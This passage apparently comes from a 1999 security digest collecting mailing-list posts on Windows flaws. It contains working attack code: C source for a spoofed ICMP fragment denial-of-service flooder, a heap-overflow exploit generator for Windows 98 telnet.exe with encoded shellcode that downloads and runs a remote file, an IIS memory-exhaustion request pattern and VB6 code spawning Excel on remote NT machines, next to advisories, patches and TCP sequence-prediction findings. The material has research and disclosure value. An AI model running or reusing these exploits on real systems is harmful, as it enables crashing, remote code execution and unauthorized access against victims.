host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); } addr->sin_port = htons(port); return(0); } unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } int send_winbomb(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) { unsigned char *packet; struct iphdr *ip; struct icmphdr *icmp; int rc; packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); /* This is the IP header of our packet. */ ip->ihl = 5; ip->version = 4; // ip->tos = 2; ip->id = htons(1234); ip->frag_off |= htons(0x2000); // ip->tot_len = 0; ip->ttl = 30; ip->protocol = IPPROTO_ICMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum(ip, sizeof(struct iphdr)); icmp->type = 12; icmp->code = 0; icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1); if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip->frag_off = htons(8 >> 3); ip->frag_off |= htons(0x2000); ip->check = in_cksum(ip, sizeof(struct iphdr)); icmp->type = 0; icmp->code = 0; icmp->checksum = 0; if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 8,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); return(0); } int main(int argc, char * *argv) { struct sockaddr_in dest_addr; unsigned int i,sock; unsigned long src_addr; banner(); if ((argc != 4)) { usage(argv[0]); return(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr,"ERROR: Opening raw socket.\n"); return(-1); } if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } printf("%s: J'envoie la sauce! b00m!\n",argv[0]); for (i = 0;i < atoi(argv[3]);i++) { if (send_winbomb(sock, src_addr, &dest_addr) == -1) { fprintf(stderr,"ERROR: faut etre root IDIO.\n"); return(-1); } usleep(10000); } } Voila, la ressemblence était frappante. Tout cela pour dire que cette news n'est pas d'une tres grande fraicheur... ============================================================= 2.1-:About IGMP and another exploit for Windows95x/98x (End): _______________________________________________________________________________________________________ _________________________________________________________________________________________________________ 2.2-:more detail and summary of kod.c (igmp bug for windows)(begin) : ===================================================================== Ok, here we go again.. For those who are having trouble with kod, alot of you are using a very old version which was the first i submitted. inserted is the lastest version which should work. I wrote kod.c aka cherrycoke.c about 3-4 months ago. It sends a fragmented igmp packet to a windows client that states that it is not fragmented but there are more frags to come windows assembles the packets and dies trying. Here is a dump of the packet if you want to rewrite it. /* output via tcpdump or windump95 63.66.66.44 > 24.128.158.18: igmp-2 [v0][|igmp] (frag 52242:1480@0+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@1480+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@2960+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@4440+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@5920+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@7400+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@8880+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@10360+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@11840+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@13320+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:1480@14800+) (ttl 128) 63.66.66.44 > 24.128.158.18: (frag 52242:120@16280) (ttl 128) */ ::notice the last frag it changed length.. I have also ported kod to windows and please email me if you want a copy of it. As far as I can tell due to my exaustive research on the subject it works on 95/98/98se/2k(some betas) Friends of mine such as defile/nyt/ignitor/etc have rewritten kod to suit there needs.. I have tested kod.c out alot on many machines and it works 85% of the time for me. There are circumstances to why kod doesn't always work, some routers my drop igmp packets if the source isn't local so try spoofing =). As far as I can see netcom and alot of .ca servers drop the kod packets. So please dont bark at me =) I just found the bug, wrote the code and what you do with it is your concern =). Patch: (no hotfix currently) If you want to protect yourself from kod.c I suggest you get winroute from www.winroute.com get version 4.. It automatically drops igmp packets incoming and outgoing ha =) It is also a very good portmapper/NAT firewall/ip masqer as well.. Shoutouts: amputee/ignitor/nizda/antibyte/codelogic/ill`/chord/cheesebal/traveler/winx/naz/dist/mrcide/etc... (gotta give shoutouts) hasta, klepto@Efnet or klepto@levitate.net de omnibus dubitandum ================================================================== 2.2-:more detail and summary of kod.c (igmp bug for windows)(End): ________________________________________________________________________________________________________ _______________________________________________________________________________________________________ 2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server (begin): ================================================================================================ -----BEGIN PGP SIGNED MESSAGE----- ISS Security Advisory August 9, 1999 Denial of Service Attack Against Windows NT Terminal Server Synopsis: The ISS X-Force has discovered a denial of service attack against Windows NT Server 4.0, Terminal Server Edition. This vulnerability allows a remote attacker to quickly consume all available memory on a Windows NT Terminal Server, causing a significant disruption for users currently logged into the terminal server, and preventing any new terminal connections from being successfully completed. Recommended Action: Network administrators can protect internal systems from external attack by creating a packet filter of the form: - Prevent all incoming packets destined for TCP port 3389 If you have a legitimate need for terminal server connections to be made from outside your network, you should limit access to TCP port 3389 to only the external IP addresses or networks that have a legitimate reason to connect. The fix for this problem is available at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40tse/hotfixes - - -postSP4/Flood-fix/ The Microsoft bulletin describing this issue is available at http://www.microsoft.com/security/bulletins/ms99-028.asp. Description: Windows NT Server 4.0 Terminal Server Edition listens for terminal connections on TCP port 3389. Once a TCP connection is made to this port, the terminal server will utilize resources in order to handle the new client connection and authenticate the connection. The manner this is done, however, requires significant server resources before any authentication takes place and without any throttling of resource utilization. Specifically, a remote attacker can quickly cause a server to reach full memory utilization by creating a large number of normal TCP connections to port 3389. Individual connections will timeout, but a low bandwidth continuous attack will maintain a terminal server at maximum memory utilization and prevent new connections from a legitimate source from taking place. Legitimate new connections will fail at this point with an error of either a connection timeout, or the terminal server has ended the connection. In testing, a long running attack of this type has been able to sporadically crash the terminal server executable and permanently maintain the machine at full memory usage without allowing any new terminal server connections until the machine was rebooted. Additional Information: This vulnerability was primarily researched by David J. Meltzer of the ISS X-Force. ________ About ISS: ISS leads the market as the source for e-business risk management solutions, serving as a trusted security provider to thousands of organizations including 21 of the 25 largest U.S. commercial banks and more than 35 government agencies. With its Adaptive Security Management approach, ISS empowers organizations to measure and manage enterprise security risks within Intranet, extranet and electronic commerce environments. Its award-winning SAFEsuite(r) product line of intrusion detection, vulnerability management and decision support solutions are vital for protection in today's world of global connectivity, enabling organizations to proactively monitor, detect and respond to security risks. Founded in 1994, ISS is headquartered in Atlanta, GA with additional offices throughout the U.S. and international operations in Australia/New Zealand, Belgium, France, Germany, Japan, Latin America and the UK. For more information, visit the ISS Web site at www.iss.net or call 800-776-2362. Copyright (c) 1999 by Internet Security Systems, Inc. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail xforce@iss.net forpermission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as well as on MIT's PGP key server and PGP.com's key server. Please send suggestions, updates, and comments to: X-Force xforce@iss.net of Internet Security Systems, Inc. -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBN67ziDRfJiV99eG9AQFDggP+N4t+n/UhAxGiBRJDGxjFeJSgfbjbDMd7 m6BVFhe4RSDsmLbKoHnK+8J9bM5RoiWMiY6pMe2YUcfQfRySwz3nfmnzpxXjoUmv Tv7aWiSvqcc6OVHS7/7tKMzxL49g/6PFPUVqRDhkKrrWbdhTW9uKejn77OfY9l2r 8ckrqQ4k3l4= =4Kwx -----END PGP SIGNATURE----- _______________________________________________________________________________________________________ 2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server ; Réponse (1/1): _______________________________________________________________________________________________________ One small clarification: At 11:51 AM 8/9/99 -0400, X-Force wrote: >The ISS X-Force has discovered a denial of service attack against >Windows NT Server 4.0, Terminal Server Edition. This vulnerability >allows a remote attacker to quickly consume all available memory on a >Windows NT Terminal Server, causing a significant disruption for users >currently logged into the terminal server, and preventing any new terminal >connections from being successfully completed. This isn't precisely correct. The problem is that the attack will consume about 1MB of RAM per connection. If you have a machine with 1GB, and it is capped to allow 50 users to connect, a worst-case scenario is that the machine will now be running with a mere 950 MB for the users that are already on the box. Under these conditions, the existing users probably won't notice the attack. New users will be hindered in their connection (not prevented), as they are competing with the attacker for new slots - they might get one before the attack app managed to get the timed out connection - at least that's the way it worked when I tested this. OTOH, if you have a 50 user limit on a machine with 64MB of RAM, you'll experience a pretty severe disruption, although I don't think I'd want to be on that machine with more than a few legitimate users to begin with. So essentially, if you've got the user limit capped at a value where there is > 1MB RAM available per user, then "all available memory" won't get consumed, and existing users won't experience a significant disruption. I believe Dave Meltzer was doing his testing with a server that had a fairly small amount of RAM. I'd also note that unless someone is spoofing the TCP connections, the IP of the attacker is going to show clearly in netstat -a. That said, I'd upgrade any Terminal Server with the patch, and make sure that my firewall rules excluded 3389, unless I wanted to explicitly allow people to connect to terminal server from the internet. David LeBlanc dleblanc@mindspring.com ============================================================================================== 2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server (End): ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 2.4-:telnet.exe heap overflow - remotely exploitable (begin) : ============================================================== Heap Overflow in windows 98 Telnet.exe - remote via IE5 ------------------------------------------------------------ Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) More fun and games courtesy of Microsoft (c:)... Telnet.exe - (77824 bytes, 11th May 98) --------------------------------------- This version of Telnet (which ships as part of Windows 98) has a bug which allows a heap overrun. It assumes that the first command-line argument will be <255 chars when preparing for the "Connect Failed" message-box. The result is that a few crucial bytes can be written over, which, as the telnet app is closing, allow full execution of arbitrary code. See below for full details... This is still all local, though, so let's skip to the REMOTE part. IE 5.00.2314.1003/5.00.2314.1003IC ---------------------------------- Internet Explorer automatically invokes telnet when given an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier versions of IE which I experimented with had comparitively tight restrictions on the format of the url, only allowing two parameters through (two zeros to you and me ;) As it turns out, this is not enough (for me) to exploit the bug. But with the versions named above, which as of writing include the latest version Microsoft would let me download, the restrictions seem to have been lifted. I can only assume that this is either unintentional, or that tn3270 or telnet applications have been found which makes this desirable... Whatever! The end result is that it seems the most recent versions of IE 5 will faithfully pass any collection of parameters up to about 460 chars into telnet.exe. Systems at risk --------------- Windows 98 default installation with SOME versions of IE5. If you click on a link, or are refreshed to a link, then see telnet.exe pop-up, complaining that it can't connect to a garbage-type address, DO NOT close the telnet executable. Instead, either forcefully terminate the process, or reboot. The exploit does NOT take effect until telnet.exe is closing. Solution -------- Either remove telnet.exe from the path, so IE cannot launch it, or get a copy of the WinNT telnet.exe. Exploit - introduction ---------------------- Heap overruns are not for the faint of heart. If you have trouble following stack overrun exploits, turn back now - or go and learn, then come back. With a stack overflow, getting the machine to execute into our buffer is relatively easy. We have, after all, overwritten the function return address. Point this (indirectly or not) at the esp and you're in business. Without this benefit, we have a much tougher time exploiting the overrun. In fact it is entirely possible that no exploit is possible. It all depends on what follows our buffer in memory. The best candidates for overwriting are pointers. If we can overwrite one which the program subsequently uses, we have a chance to make something happen. The trick is to ignore what the program is trying to do, and to look at what it's doing. One core idea I've found to be of value is this: One way to get execution onto the stack is to find a way to manipulate our uncorrupted stack. Often you will find a pointer to the stack (or command-line) somewhere not far from the top (of the stack). If it can be moved only a few bytes, or we can conspire to pop more than we push, we can then return to our buffer. Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT) ---------------------------------------------------- The overrun we are presented with is only a handfull of bytes, just enough to overwrite one pointer value following the buffer in memory. This pointer, as it turns out, originally points to an array of 1024 pointers, which are either NULL, or point in turn to a 16-byte structure. From context this seems to be a file-handle table of sorts. When I examined the routine (fflush) where we end up referencing the pointer, it turns out that the code iterates thru the 1024 pointers, and for each non-NULL entry, it examines and conditionally changes the 16 byte structure pointed to. It is the change we are interested in. If the structure is represented as: DWORD dw1, dw2, dw3 then the effect of the change is: dw1 = dw3 dw2 = 0 Whilst examining various locations in memory where out exploit string ends up (there are a couple, as the command-line get passed, then parsed), I found one where the following 4k was allocated and 99% zeros. I also found at the top of the stack, about 12 bytes back, a pointer to our exploit string (WinMain lpCmdLine anyone), which was ripe to be copied down 8-bytes to overwrite a return address. Now ideally, if the memory I found was all blank, all I'd need to do would be to arrange for the trailing bytes of my exploit string to point to the appropriate place on the stack. This last DWORD, followed by 1024 DWORD zeros, would serve as a faux handle table which would overwrite a return address with a pointer to our exploit. Are you with me... If not, go back now. In the actual case I found there were indeed 1024 zeros, but there was also one non-zero DWORD directly after my exploit and before the zeros. I needed to remove these values for the table to not crash... so I used the same technique over again to remove it - adding another entry at the top of our table pointing to the offending location neatly removes it, then the second entry does the actual work, and the rest of the table is empty. Done. Complete. Works. Exploit Attached ---------------- I have worked out an exploit which downloads and runs an arbitrary file, and have included the source for a Visual C++ program to create a binary file containing the exploit as a link. Add (for example) an html header and footer, and you have it. Notes: The exploit uses URLDownloadToCacheFile and WinExec. Disassembling the binary file will show you the code (strings have been xor'ed with 0xFADE). Any comments on the exploit code would be appreciated. ------------------------------------------------------------ #include #include #include void Usage( void ) { printf( "Usage: exfact url(40) outfile\n" ); } #define URL_OFFSET 48 unsigned char aSploit[] = { 0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33, 0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2, 0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE, 0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2, 0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD, 0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE, 0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0, 0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF, 0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE, 0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53, 0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE, 0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE, 0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B, 0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66, 0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0, 0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33, 0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35, 0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02, 0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B, 0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8, 0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF, 0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0, 0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B, 0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51, 0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33, 0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74, 0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56, 0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56, }; int main( int argc, char *argv[] ) { if( argc == 3 ) { DWORD dwURLlen = strlen( argv[ 1 ] )+1; if( dwURLlen < 40 ) { HANDLE h = CreateFile( argv[ 2 ], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0 ); if ( h == INVALID_HANDLE_VALUE ) { printf( "Error creating %s\n", argv[ 2 ] ); return( 0 ); } DWORD dwWrit = 0; if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) || ( dwWrit != URL_OFFSET ) ) goto writeerr; for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 ) *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons? *PWORD( p ) ^= 0xdefa; if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) || ( dwWrit != dwURLlen ) ) goto writeerr; DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen ); if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite, &dwWrit, NULL ) || ( dwWrit != dwToWrite ) ) goto writeerr; CloseHandle( h ); return( 0 ); } } Usage(); return( 1 ); writeerr: printf( "Error writing to %s\n", argv[ 2 ] ); return( 2 ); } ------------------------------------------------------------ P.S. Australian programmer with 19 years experience, C/++, Asm, Delphi, SQL, IP + more, looking for work overseas. Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) P.P.S. When exposing these type of exploits, it is usual for the coder to launch into a tirade about Microsoft and what terrible software it writes to allow these... I feel that these people are missing the point, though. Microsoft has risen (very successfully) to the challenge of providing a couple of GENERAL PURPOSE, incredibly extensive operating systems for PC's. Anyone who prefers Linux for it's stability etc. should consider the cost (to the average end-user) of such stability. Microsoft have concentrated on the commercial requirements of the corporate Joe, and have written the software people (not jellyheads) need. Of course it would be wonderful if Windows was as solid as secure as a unix installation, but it is simply not the highest priority for the average PC user. _________________________________________________________________________________________________________ 2.4-:telnet.exe heap overflow - remotely exploitable ; réponse(1/2) _________________________________________________________________________________________________________ Windows'95 telnet.exe (74,720Kb) is too exploitable. Valentin Perelõgin _________________________________________________________________________________________________________ 2.4-:telnet.exe heap overflow - remotely exploitable ; réponse (2/2) _________________________________________________________________________________________________________ Hi All - We've had an opportunity to investigate this issue, and want to advise that a fix already is available. The vulnerability is fixed in IE 5.0b, which ships as part of Windows 98 Second Edition. It also is eliminated by the patch for the "Malformed Favorites Icon" vulnerability (http://www.microsoft.com/security/bulletins/ms99-018.asp), which was released in May. The reason that the security bulletin did not discuss this fix is because we discovered the unchecked buffer during a routine code review, and corrected it as a code quality issue. The vulnerability is present in IE 4.0 as well, and we are developing a patch that we'll release shortly. When the IE 4.0 patch is available, we'll release a security bulletin that discusses the issue and where to get the patch. Regards, Secure@microsoft.com =========================================================== 2.4-:telnet.exe heap overflow - remotely exploitable (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 2.5-:IIS 4.0 remote DoS (MS99-029)(begin) : =========================================== Hi, I found a kind of DoS attack against IIS 4.0 on NT SP4 & SP5. I reported it to MS and they've provided HotFix for this. Problem Description ------------------- Simple play. I sent lots of "Host:aaaaa...aa" to IIS like... GET / HTTP/1.1 Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) ...10,000 lines Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) I sent twice above request sets. Then somehow victim IIS got memory leak after these requests. Of course, it can not respond any request any more. If you try this, you should see memory increase through performance monitor. You would see memory increase even after those requests finished already. It will stop when you got shortage of virtual memory. After that, you might not be able to restart web service and you would restart computer. I tried this against Japanese and English version of Windows NT. Fix Information --------------- MS announced in their Security Bulletin as following : http://www.microsoft.com/security/bulletins/MS99-029faq.asp Additional information ---------------------- You'll realize someone release exploit code of this thing. It's easy to make it by using perl or another scripts. n-miwa@lac.co.jp ( @ @ ) http://www.lac.co.jp/security -------------------------------o00o--(. .)--o00o------------------------- _________________________________________________________________________________________________________ 2.5-:IIS 4.0 remote DoS (MS99-029) ; réponse (1/1) : _________________________________________________________________________________________________________ Microsoft has also removed this patch becaus it was not fully regression tested when it was released and didn't work with some older software. They are working on a new patch that will be fully regression tested. Here is the patch removal notice from Microsoft. http://www.microsoft.com/security/bulletins/ms99-029regression.asp Chuck ========================================= 2.5-:IIS 4.0 remote DoS (MS99-029)(End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 2.6-: FW: DCOM attack against NT using VB6 (begin) : ==================================================== forwarding the followup from NTBUGTRAQ.. -----Original Message----- From: Rob Lempke [mailto:rlempke@ADNET2000.COM] Sent: Monday, August 23, 1999 6:13 AM To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: DCOM attack against NT using VB6 Sorry for the late response, but I was on vacation from August 14 - 22. I received about 75 e-mail on this post, so if you want to post this reply to the mailing list that would be great. A Long Story short, the target (DCOM or server) which must be running the DCOM object (exe, not dll's or ocx's), must be Windows NT, sp3 or sp4 with the rpc service running and the no TCP filters running. The client can be any win32 platform with DCOM installed. (DCOM comes with NT/98 but not 95). The bug is that before service pack 5 (at least here) the Everyone group has DEFAULT ACCESS and LAUNCH permissions. DCOM attack against NT using VB6 FAQ: Q: Did you use a user that had permissions on target? Are you in the same domain? A: The target and I are on the same domain, both as Users (with default user permissions, i.e. not ADMIN). I am an Everyone/Authenticated user from the targets point of view. I can see his/her shares Q: What were the Default DCOM permissions set to on the target? Access: Interactive-Allow Access (This Machine)\Administrator-Allow Access System-Allow Access Everyone-Allow Access Launch: Interactive-Allow Launch (This Machine)\Administrator- Allow Launch System-Allow Launch Everyone- Allow Launch Configuration: Interactive (This Machine)\Administrator-full System-full Creator Owner -special Everyone-read Q: What versions of VB and excel where used? A: I am using VB6, a must to get the CreateObject with the system parameter. It works with both word and excel ver 97 and 2000. Q: What apps use the Default permissions? A: Any that do not provide their own, which seems to be most. This includes office. Q: Can I do this with an ActiveX control? A: NO, DCOM object are ActiveX exe 's. this does not work with ActiveX dll's components in MTS. Q:Does this work with Service Pack 5?, Why not? A: No, because the Everyone group is removed from the default Access(allow) and Launch(allow) permissions groups in DCOMCNFG. Q: Did you modify the access or launch permissions on the target? Where you logged in to the target machine. Did you have an account on that machine? A: No, No and No. -----Original Message----- From: Windows NT BugTraq Mailing List [mailto:NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM]On Behalf Of Rob Lempke Sent: Wednesday, August 11, 1999 3:27 PM To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: DCOM attack against NT using VB6 Using the code below I was able to create 20 instances of Excel on my co-workers machines without modifying their machines at all. The target must be Windows NT Workstation/Server running sp3 or sp4. sp5 seems to prevent the attack. Private Sub Command1_Click() Dim xlObj As Object Dim xlCollection As New Collection Dim i As Long For i = 1 To 20 Set xlObj = CreateObject("Excel.Application", "\\NTBox") xlCollection.Add xlObj Next i i = 1 'clean up While xlCollection.Count > 0 xlCollection.Remove (xlCollection.Count) Wend Set xlCollection = Nothing End Sub -Robert E. Lempke -------------------------------------------- Steven Wright one Liners: "Black holes are where God divided by zero." "Quantum Mechanics: The dreams stuff is made of." "Early bird gets the worm, but the second mouse gets the cheese." "If everything seems to be going well, you have obviously overlooked something." "Join the Army, meet interesting people, kill them." "Success always occurs in private, and failure in full view." "Ambition is a poor excuse for not having enough sense to be lazy." "Hard work pays off in the future. Laziness pays off now." "Everyone has a photographic memory. Some don't have film." "Drink until she's cute, but stop before the wedding." -------------------------------------------- ================================================== 2.6-: FW: DCOM attack against NT using VB6 (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 (begin) : ======================================================================================= As many people will be aware, the Microsoft TCP/IP stack for NT 4.0 up to and including SP3 used a simple "one-per-millisecond" increment for the initial TCP sequence number. This was changed in SP4 to make the initial sequence number generation less predictable. However I've found that, while the initial TCP sequence number pattern has changed from SP3 to SP4, it's still quite predictable. The key features of the new SP4 pattern are: a) It uses small positive increments between 0 and 14 inclusive; b) The increment appears to always be an even number: 0, 2, 4, 6, 8, 12, 10 or 14; c) The increment does not appear to be time-related - the pattern is the same whether the time difference between samples is 20ms or 1s. An example of the observed behaviour is shown in the table below: Sequence Number Difference of occurrences -------------- --------------------- 0 648 2 584 4 608 6 660 8 602 10 666 12 641 14 590 This data shows the distribution of differences between sequence numbers from a total of 5,000 initial sequence number samples (i.e. 4,999 differences). So for example, the difference between two consecutive initial TCP sequence numbers was 10 in 666 out of 4999 sample pairs. This data was gathered from a quiescent system on an Ethernet LAN. However, it is similar to data that I have obtained from Internet-connected systems such as IIS Web servers. While this new initial TCP sequence number pattern is different from the old pre-SP4 behaviour, it is still quite easy to predict: the data above shows that there are only 8 possible next-sequence numbers. Bearing in mind that most TCP/IP stacks simply ignore incorrect sequence numbers, it's easy to bracket the expected range with a number of packets. Indeed, this new pattern may actually be easier to predict than the old behaviour over the Internet and other WANs because in this environment, it's probably easier to send a spread of 8 packets than to predict the packet latency to within 8 milliseconds over a long-haul connection. The "correct" thing for a TCP/IP stack to do when generating initial TCP sequence numbers is to make them random as recommended in RFC1948. I've found that many operating systems including Linux 2.x and Solaris 2.6 (when tcp_strong_iss is set to 2) already do this, although there are still lots of stacks out there generating predictable initial TCP sequence numbers. Microsoft's description of the NT SP4 sequence number change is in knowledge base article ID: Q192292 "Unpredictable TCP Sequence Numbers in SP4". I first discovered this new predictable TCP sequence pattern while performing a penetration test for one of our customers who had recently changed from SP3 to SP4. Microsoft have been informed of these findings and are currently investigating the situation. I'll be putting more details up on the NTA Monitor Web site within the next day or two, so for more information you can visit http://www.nta-monitor.com/ Roy Hills NTA Monitor Ltd -- Roy Hills Tel: +44 1634 721855 NTA Monitor Ltd FAX: +44 1634 721844 6 Beaufort Court, Medway City Estate, Email: Roy.Hills@nta-monitor.com Rochester, Kent ME2 4FB, UK WWW: http://www.nta-monitor.com/ 